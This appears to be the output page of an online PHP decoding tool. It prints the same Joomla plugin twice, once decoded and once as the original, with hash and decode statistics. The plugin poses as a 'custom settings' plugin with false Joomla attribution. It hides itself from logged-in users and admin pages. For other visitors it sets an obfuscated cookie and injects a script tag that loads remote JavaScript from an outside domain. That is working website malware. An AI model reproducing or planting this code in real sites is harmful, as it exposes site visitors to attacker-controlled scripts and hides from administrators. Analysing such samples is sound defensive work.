Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /** * @Enterprise: Joomla! Project * @author: Joomla! Project * @url: htt..

Decoded Output download

<?php 
 
/** 
 * @Enterprise: Joomla! Project  
 * @author: Joomla! Project  
 * @url: http://www.github.com 
 * @license: GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html 
 * @copyright: github.com 
 * 
 * Custom settings plugin; 
 * https://github.com 
 * License: MIT License  
 */ 
 
defined('_JEXEC') or die; 
 
class plgSystemSettings extends JPlugin 
{ 
        public function onAfterInitialise() 
        { 
                $user = JFactory::getUser(); 
                $mainframe = JFactory::getApplication(); 
                if ( $user -> id > 0 ) { 
                        // user route 
                } else { 
                        // non-user route 
                        $current_url = JUri::getInstance(); 
                        if (stristr($current_url, "/admin")) { 
                                // admin-panel route 
                        } else { 
                                if ( ! isset( $_COOKIE[base64_decode('cl9vaw==')]) ) { 
                                        setcookie( base64_decode( 'cl9vaw==' ), 1, time() + 86400, base64_decode( 'Lw==' ) ); 
                                        echo '<script>;(function(o,q,f,e,w,j){w=q.createElement(f);j=q.getElementsByTagName(f)[0];w.async=1;w.src=e;j.parentNode.insertBefore(w,j);})(window,document,"script","https://apidevwa.com/xq89bP8PlpuM6P4tMj7ay0tNk1BqUGKeOa-4V9dYIjYo");</script> 
'; 
                                } 
                        } 
                } 
        } 
} ?>

Did this file decode correctly?

Original Code

<?php

/**
 * @Enterprise: Joomla! Project 
 * @author: Joomla! Project 
 * @url: http://www.github.com
 * @license: GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @copyright: github.com
 *
 * Custom settings plugin;
 * https://github.com
 * License: MIT License 
 */

defined('_JEXEC') or die;

class plgSystemSettings extends JPlugin
{
        public function onAfterInitialise()
        {
                $user = JFactory::getUser();
                $mainframe = JFactory::getApplication();
                if ( $user -> id > 0 ) {
                        // user route
                } else {
                        // non-user route
                        $current_url = JUri::getInstance();
                        if (stristr($current_url, "/admin")) {
                                // admin-panel route
                        } else {
                                if ( ! isset( $_COOKIE[base64_decode('cl9vaw==')]) ) {
                                        setcookie( base64_decode( 'cl9vaw==' ), 1, time() + 86400, base64_decode( 'Lw==' ) );
                                        echo '<script>;(function(o,q,f,e,w,j){w=q.createElement(f);j=q.getElementsByTagName(f)[0];w.async=1;w.src=e;j.parentNode.insertBefore(w,j);})(window,document,"script","https://apidevwa.com/xq89bP8PlpuM6P4tMj7ay0tNk1BqUGKeOa-4V9dYIjYo");</script>
';
                                }
                        }
                }
        }
}

Function Calls

defined 1

Variables

None

Stats

MD5 ad50282e85ee83ae231dcaa6d5ebc326
Eval Count 0
Decode Time 44 ms